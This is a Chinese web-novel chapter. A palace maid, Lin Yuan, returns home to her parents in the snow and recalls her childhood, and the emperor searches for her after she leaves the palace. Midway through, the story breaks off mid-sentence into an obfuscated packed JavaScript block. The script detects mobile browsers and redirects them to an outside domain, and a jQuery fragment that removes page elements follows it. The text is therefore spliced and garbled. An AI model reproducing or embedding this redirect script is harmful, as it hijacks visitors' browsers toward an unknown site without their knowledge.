林鸢跳下车的时候，已经成了一个雪人。
连日风雪交加，双辕辎车三五次陷在了雪地里，好几回下车推着车走，连眼睫都沾满了细碎的雪花。
推开家门，迎上了柴火的热气，雪化了不少，一张脸上都是湿淋淋的，像划过泪痕。
秦氏听见庖厨门“咯吱”一声，一转身，手里一摞刚出炉的胡饼跌在了地上。
林武举着一杯椒酒，正等着与胡饼一道落胃，见状，骂骂咧咧：“哎哎，败家……”在林鸢哽咽着，唤出了“阿父，阿母”之后，他手上的陶耳杯也咕噜咕噜从食案上滚落了下去。
他们的脸也湿淋淋的了。
胡饼沾了些泥灰和草屑，林鸢随意一掸，就往嘴里塞。
无论如何，比风雪中冻硬了的饼子要美味得多。
秦氏是很高兴的。
久别重逢的泪，早就被灶膛里的火烘干了。
她正在重新擀面，烧水，要为将近五年未见的女儿做一碗汤饼，本要留着元日吃的肉脯也拿出来了，还有一罐子厚厚的蜂蜜，她还要做一盘子蜜饵和粔籹。
林武喝了不少酒，说话声也大了一些，他对新妇喊：“别瞎忙活了！女儿好容易回来了，还不快过来陪着？”
秦氏不听：“阿鸢惦记着这一口呢！”
林武笑得庖厨间的茅顶都震了震：“你忘了阿鸢是宫里出来的吗？什么没吃过？还惦记着你那口吃食？”
秦氏却笑着嗔怪：汤汤水水喝下去，才能驱了这大风大雪的寒气啊。快到元日了，女儿归家了，可不就吃得甜甜蜜蜜的吗？
还有一句：宫里头的吃食再好，哪有阿母的滋味啊？
林武也乐了：“你阿母的手艺，只怕丝毫不比那宫里头差啊。”
他开始乐陶陶地同阿鸢回忆，秦氏年轻时，在大户人家的庖厨做事的那段峥嵘岁月。
秦氏的脸映在煌煌的火膛里：“别提了，多少年前的事儿了。”
说着，话音一转，“以前做的那都是豚肉啊，鹿肉啊，还有熊掌哩……”
林鸢重重地应过一声，啃着胡饼，鼻子有些酸楚。
秦氏在大户人家中做过帮厨，胡饼与汤饼俨然不能说明其所长，她的身量倒是足以彰显这一点。
林鸢的记忆里，阿母就是胖胖的，脸色红亮，腰间坠着一圈肉，像是系满了一圈荷包。
她的阿父林武当过铁匠，不知是不是因为那段时日，成日对着通红的炉火，脸色也成了永远的赤红。
而他的身材嘛，被年岁，还有阿母做的吃食，吹得鼓起来了。
二人胖胖的身形落在林鸢的眸中，拉得长了，瘦了，两鬓也白了。
她一口胡饼，一口面汤，一口蜜饵，肚子仿佛填不满似的。
“听说皇后被废了呀，你阿父和我啊，担心得成宿成宿睡不着觉。哎，眼瞅着你再熬上个四五年就能出宫了，若是折在废后的事上了，那可，那可如何是好啊？”
秦氏搓着沾满了麦粉与秫米粉的双手，说到这里又不禁哽咽。
她别过头抹了一把，鬓上又添了一点白。
林武接过了话头：“你兄长也在淮阳找人打听，说这陛下还算是个通情理的，说是没有殃及伺候的宫人，如今还，”他打了个酒嗝，“还放归家里来了。这是，因祸得福了呀。”说到这里，又乐呵呵地举起陶耳杯，灌下了一口酒，“算命的半仙都说了，咱们阿鸢啊，一直都是个有运道的！”
他眯起了发红的眼睛，望了望庖厨四围的墙，穿过墙垣望出去，风刮得顺意了，雪也是瑞雪啊。
秦氏则拍着阿鸢的背：“慢些吃，慢些吃，跟吃了这顿没下顿了似的。”
她的眼睛却笑成了两条缝，眼里的话是“多吃点，多吃点，都瘦了，瘦了那么多啊”。
在阿母这儿，一个孩子，无论变成了什么样，瘦总是最瞩目的。
林鸢是瘦的。
以至于阿父阿母带着她，刚搬到长安西郊东平乡的永和里的时候，那些乡邻都啧啧：林家夫妇，怎的就生出了这般样貌的女郎？
她瘦得水灵。
只八岁就是个美人胚子了。
哪怕一手捧着干牛粪，一手拎着泔水桶，乡邻也驻足长叹：“这模样，长大了，就是进宫，也使得的呀。”
多年之后，林鸢在未央宫的甬道上，一手捧着要浣洗的下人衣裳，一手拎着恭桶，也会想起乡邻的话。
当这些乡邻见到林鸢时年十岁的兄长林榆时，啧啧的声音更大了：“这般模样，若是穿上了龙纹蟒纹的丝绸衣裳，恐怕被认作了王侯、皇帝，都使得的呀！”
阿父阿母付之一笑，把林榆赶进屋里读书，脸更红亮了。
林鸢把这话听到了心里。
她来到了林榆的屋里，踱着步，转啊转啊。
一会儿问：“阿兄，你说，宫里都有什么呀？”
一会儿自个儿回答：“他们说，宫里有皇帝，皇后，公主，太后。宫里头每个人，都穿着丝绸的衣裳，住着好大的屋子。”
她伸开两条胳膊比划，胳膊不够用了——“比我们家的主屋，柴房，灶屋，猪圈，牛圈，还有院子，加起来都要大。”
“比里正家的屋宇，还要大。”她重重强调。
里正是她认识的最大的官了，管着永和里近百户的人家，宅院有两个她的家那么大。
林榆不认识里正，他把书卷展得长了一点。
林鸢凑到林榆的耳边，眨巴着眼：“宫里，还有好大好大的庖厨，数不清的庖人。”
接着又说，“仓房里的粟米，有千钟那么多。”见林榆无动于衷，她将“千钟”改成了“万钟”，想想，又改成了“万万钟”。
她推了推林榆捧卷的胳膊，问出了最重要的问题：“兄长，你说，宫里的人，是不是早上一睁眼，就能吃上蜜饵，还有饴糖？”
见林榆并不关心宫里人的吃食，她赧然笑了笑：“你说，我要是进了宫，是不是也能够吃上？”
想了想，又补充了两句，“敞开了肚子吃，不用等到过年过节，就能吃。朝食，飧食，每一日都能吃。”
林榆不喜欢吃蜜饵和饴糖，他埋头看书，眼皮也不抬一下。
林鸢伸手捂住了书上的字：“阿榆，你快回答我嘛！”
林榆被她扰得不胜其烦，总算掀了掀眼皮：“可以，当然可以了。”
林鸢松开了手，心里甜丝丝的，眼前已经看到了数不清的饴糖：“真的吗？”
“嗯。”林榆垂目，面无表情，把手上的太史公书，始皇遗诏，赐公子扶苏死，翻过一页。
“你当了太后，皇后，公主，就可以。”
太后是皇帝的阿母，公主是皇帝的女儿。
林鸢够不着当太后的年岁，也只是铁匠阿父心里头的公主。
论及贵与重，大约也比不上一头公猪。
毕竟，猪一斤就能值二十钱，猪跑出了圈，阿父立马捧起粟壳、豆渣、秣草的食料，撒开腿去追。
她跑出了永和里，阿父只会笑嘻嘻地说，又去哪儿撒欢了？今天飧食有蜜饵，就不给阿鸢留了吧。
于是她偏头问：“那，要怎么能当皇后？”
又问：“永和里的人能当皇后吗？”
林榆声音凉凉：“我若当了皇帝，就给你当皇后，好不好？”
林榆当然不会当皇帝。
永和里大概只有养蜂人的蜂巢，有个蜂皇，以及市集颓墙下的蚁穴，有称王的白蚁。
林鸢扯了扯嘴角，眼前的饴糖重新变作了掉落的墙皮。
她悻悻地把头支在书案上，问林榆：“阿兄看的是什么故事？”
林榆给她讲起了下相人项籍，观始皇帝游会稽、渡浙江的故事。
乡邻自然没有见过皇帝，不然不会不知道，皇帝也不是时时刻刻都穿着绣了龙纹蟒纹的丝绸衣裳。
至少，林鸢第一次见着萧珣，他穿的是一身素白。
雪一样的白。
以至于林鸢以为，自己冻傻了，花了眼，眼前的梅花被雪压断了枝，就成了面前的人了。
“看着作甚？”
雪化出来的人，声音也是冷冷的。
林鸢在这话音中不慎撞着了梅枝，积雪与梅瓣簌簌地落了一身。
她瑟瑟道：“因为你，你……好看呀。”
*
萧珣的脸冷得像冰。
宣室登时成了冰窖。
李顺因为没有把林鸢的信笺及时交给皇帝，被罚了三个月的月例
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102803|179813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“林鸢去哪儿了？”萧珣沉声问。
“回陛下，阿鸢，哦，不，林鸢，林宫人，定是要回家看看。”李顺慌得口不择言，“临近元日了，回乡看一看，没准过两日就回来了。”
李顺只听面前的帝王寒声说出了“林鸢出宫了”几个字，并不知道信的全貌，以为林鸢所求的那个恩典，不过是探亲罢了。
只是，回乡探个亲而已，陛下至于动这么大的气吗？
他想起了王福离宫前，望着檐下冰的怅然，不由缩了缩脖子，衣领盖不住后脖子，那里是凉飕飕的。
“她家在何处？”萧珣换了一口气问。
“回陛下，就在长安，是，哦，是长安的西郊。”李顺费劲想了一会儿。
“西郊的何处？什么县？什么乡？”
“奴……奴婢不知。”
“你们不是乡邻吗？”萧珣不可置信地起身，追问，“不是说是共担风雨的交情？”
李顺一噎。
他们是乡邻。
不过那是林鸢六岁，李顺七岁时候的事儿了。
说是“乡”，其实是长安城外流民聚居的荒僻一隅。
所谓的“比邻而居”，是城里先前一个不知名姓的贵人，建在那里，专门用来收容流民的几个茅草棚，鳞次栉比，绵延将近一里，中间起了几堵夯土墙。
他们从不同的地方来，住在了同一屋檐下。
草棚子经年累月，摇摇欲坠，每到下雨的时候，就漏着雨，刮起风来，就漏着风。
李顺咂了咂嘴，寻思，这是林鸢同陛下说的，“共担风雨”的意思吗……
小孩不觉得那是苦的。
六岁的林鸢抱着一个瓦盆，接茅草顶上漏下来的雨，滴滴答，滴滴答。
她说，你知道秦王击缶吗？就是这样的声音。
李顺不知道谁是秦王，问林鸢，林鸢头也不转地说，“就是一个姓秦的人呀。”
李顺认识的姓秦的人不少，光他们的草棚子里，来来去去的秦氏就有十个了。
可他不明白，这一个秦氏为什么要击缶。
他如果去敲瓦盆，阿母的骂声就跟着来了，说他是个败家子，阿父死的时候摔碎的瓦盆还不够？是不是急着要把她也送走？
谩骂声很快随着哭叫声一起响起，绝对比瓦盆的声音还敞亮得多。
他“咝”了一口气。
那么，难道是缹鸡？他猜想，这个秦氏一定很有钱，才能够缹鸡。
他舔舔嘴唇，也抱起了瓦盆，看着雨点连成了线。
缹鸡的水沸起来的时候，就是这样的声音吗？
听着听着，阿母每到夜里就停不下来的咳嗽声，好像小了些，他不再害怕了。
转年的春天，林鸢一家就搬走了。
再半年，李顺的阿母死了，他成了孤儿。
他跟着其他的流民，吃树皮，啃白泥，风吹雨淋的时候，闭上眼睛，偶尔能听见那个偌大的草棚子内外，风的声音，人的声音，牛的声音，猪的声音，还有缶的声音。
李顺十三岁入宫当了黄门，再后来，又过了三年，他在掖廷新选来的宫女中，一眼认出了林鸢。
……
萧珣命人即刻去传掖廷令，令他查清宫人林氏籍贯何处。
侍卫称诺告退后，他走到了朝西的窗边，推开了直棂窗，望向外面的风雪。
李顺仍跪在地上，心里算林鸢离开了多久，四日，三日？
从龙首山到长安的西郊，一去一回，需要几天？
风雪那么大，马儿当是一脚深一脚浅，会不会耽了时辰？
——林鸢她仍是一个宫女呀，她能坐上马车吗？
她身子瘦弱又怕冷，会不会路上病了？
林鸢啊，林鸢，快回来吧。
这样想着，忽闻殿门一动。一道长长的光落了进来。
转头，只见扎眼的雪光里，化出来了一个身影。
婷婷，窈窕。
白裘下，天水碧色的深衣。
雪光暗淡了下去，亮起来的，是一双比雪水还要潋滟的眼眸。
那一瞬间，萧珣也回过了身，舒了一口气，悬着的心坠回原处。
唤出一句：“你回来了。”